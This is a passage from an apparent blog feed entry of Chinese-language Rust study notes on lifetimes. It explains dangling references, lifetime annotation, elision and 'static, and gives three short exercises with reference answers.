href="#生命周期-lifetime" class="headerlink" title="生命周期 lifetime"></a>生命周期 lifetime</h3><p>引用保持有效的代码范围。</p><p><code>'a</code> 是生命周期参数名。</p><h3 id="悬垂引用-dangling-reference"><a href="#悬垂引用-dangling-reference" class="headerlink" title="悬垂引用 dangling reference"></a>悬垂引用 dangling reference</h3><p>指向已经无效数据的引用。</p><p>Rust 编译器会阻止它。</p><h3 id="生命周期标注"><a href="#生命周期标注" class="headerlink" title="生命周期标注"></a>生命周期标注</h3><p>显式说明多个引用之间的有效期关系。</p><p><code>fn longest<'a>(x: &'a str, y: &'a str) -> &'a str</code>。</p><h3 id="生命周期省略"><a href="#生命周期省略" class="headerlink" title="生命周期省略"></a>生命周期省略</h3><p>编译器按规则自动推断常见生命周期。</p><p>很多函数不需要手写 <code>'a</code>。</p><h3 id="‘static"><a href="#‘static" class="headerlink" title="‘static"></a>‘static</h3><p>能存活整个程序运行期间的生命周期。</p><p>字符串字面量通常是 <code>&'static str</code>。</p><h2 id="初学者拓展"><a href="#初学者拓展" class="headerlink" title="初学者拓展"></a>初学者拓展</h2><p>生命周期标注不会延长任何值的生命。它只是描述已有的有效范围。</p><p><code>'a</code> 的名字没有特殊含义,可以叫 <code>'text</code>,但简单示例常用 <code>'a</code>。</p><p>返回引用时,返回值必须来自输入引用或其他足够长寿的数据,不能返回局部变量引用。</p><p>生命周期和所有权配合工作。拥有值的数据离开作用域后,指向它的引用不能继续存在。</p><h2 id="常见误区"><a href="#常见误区" class="headerlink" title="常见误区"></a>常见误区</h2><ul><li>不要试图用生命周期标注修复真正的所有权错误。</li><li>不要返回函数内部创建的局部 <code>String</code> 的引用。</li><li><code>'static</code> 不等于“永远不释放所有数据”,它表示引用目标在整个程序期间有效。</li><li>生命周期报错通常说明引用关系不清楚,先画出数据拥有者和借用者。</li></ul><h2 id="进阶练习与参考答案"><a href="#进阶练习与参考答案" class="headerlink" title="进阶练习与参考答案"></a>进阶练习与参考答案</h2><h3 id="练习-1:实现-longest"><a href="#练习-1:实现-longest" class="headerlink" title="练习 1:实现 longest"></a>练习 1:实现 longest</h3><p>要求:返回两个字符串切片中更长的一个。</p><p>参考答案:</p><div class="code-container" data-rel="Rust"><figure class="iseeu highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">fn</span> <span class="title function_">longest</span><<span class="symbol">'a</span>>(left: &<span class="symbol">'a</span> <span class="type">str</span>, right: &<span class="symbol">'a</span> <span class="type">str</span>) <span class="punctuation">-></span> &<span class="symbol">'a</span> <span class="type">str</span> {</span><br><span class="line"> <span class="keyword">if</span> left.<span class="title function_ invoke__">len</span>() >= right.<span class="title function_ invoke__">len</span>() { left } <span class="keyword">else</span> { right }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="keyword">fn</span> <span class="title function_">main</span>() {</span><br><span class="line"> <span class="built_in">println!</span>(<span class="string">"{}"</span>, <span class="title function_ invoke__">longest</span>(<span class="string">"Rust"</span>, <span class="string">"language"</span>));</span><br><span class="line">}</span><br></pre></td></tr></table></figure></div><p>解释:返回值可能来自任一输入,所以要用同一个生命周期参数描述关系。</p><h3 id="练习-2:结构体保存引用"><a href="#练习-2:结构体保存引用" class="headerlink" title="练习 2:结构体保存引用"></a>练习 2:结构体保存引用</h3><p>要求:定义保存标题引用的结构体。</p><p>参考答案:</p><div class="code-container" data-rel="Rust"><figure class="iseeu highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">struct</span> <span class="title class_">Title</span><<span class="symbol">'a</span>> {</span><br><span class="line"> text: &<span class="symbol">'a</span> <span class="type">str</span>,</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="keyword">fn</span> <span class="title function_">main</span>() {</span><br><span class="line"> <span class="keyword">let</span> <span class="variable">raw</span> = <span class="type">String</span>::<span class="title function_ invoke__">from</span>(<span class="string">"Rust"</span>);</span><br><span class="line"> <span class="keyword">let</span> <span class="variable">title</span> = Title { text: &raw };</span><br><span class="line"> <span class="built_in">println!</span>(<span class="string">"{}"</span>, title.text);</span><br><span class="line">}</span><br></pre></td></tr></table></figure></div><p>解释:结构体不能比它内部引用的字符串活得更久。</p><h3 id="练习-3:避免返回局部引用"><a href="#练习-3:避免返回局部引用" class="headerlink" title="练习 3:避免返回局部引用"></a>练习 3:避免返回局部引用</h3><p>要求:修复返回局部字符串引用的错误。</p><p>参考答案:</p><div class="code-container" data-rel="Rust"><figure class="iseeu highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">fn</span> <span class="title function_">make_title</span>() <span class="punctuation">-></span> <span class="type">String</span> {</span><br><span class="line"> <span class="type">String</span>::<span class="title function_ invoke__">from</span>(<span class="string">"Rust"</span>)</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="keyword">fn</span> <span class="title function_">main</span>() {</span><br><span class="line"> <span class="keyword">let</span> <span class="variable">title</span> = <span class="title function_ invoke__">make_title</span>();</span><br><span class="line"> <span class="built_in">println!</span>(<span class="string">"{title}"</span>);</span><br><span class="line">}</span><br></pre></td></tr></table></figure></div><p>解释:函数内部创建的数据应返回所有权,而不是返回指向局部变量的引用。</p><h2 id="相关笔记"><a href="#相关笔记" class="headerlink" title="相关笔记"></a>相关笔记</h2><ul><li><a href="https://kylinxin.github.io/2026/04/13/Rust%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0-13-Trait%20%E4%B8%8E%20Trait%20Bound/">Rust学习笔记 13:Trait 与 Trait Bound</a></li><li><a href="https://kylinxin.github.io/2026/04/15/Rust%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0-15-%E5%B8%B8%E7%94%A8%E6%A0%87%E5%87%86%E5%BA%93%E5%87%BD%E6%95%B0%E4%B8%8E%E5%AE%9E%E7%94%A8%E5%AE%8F/">Rust学习笔记 15:常用标准库函数与实用宏</a></li></ul>]]></content>
<summary type="html"></summary>
<category term="Rust" scheme="https://kylinxin.github.io/categories/Rust/"/>
<category term="Rust" scheme="https://kylinxin.github.io/tags/Rust/"/>
<category term="Cargo" scheme="https://kylinxin.github.io/tags/Cargo/"/>
<category term="生命周期" scheme="https://kylinxin.github.io/tags/%E7%94%9F%E5%91%BD%E5%91%A8%E6%9C%9F/"/>
</entry>
</feed>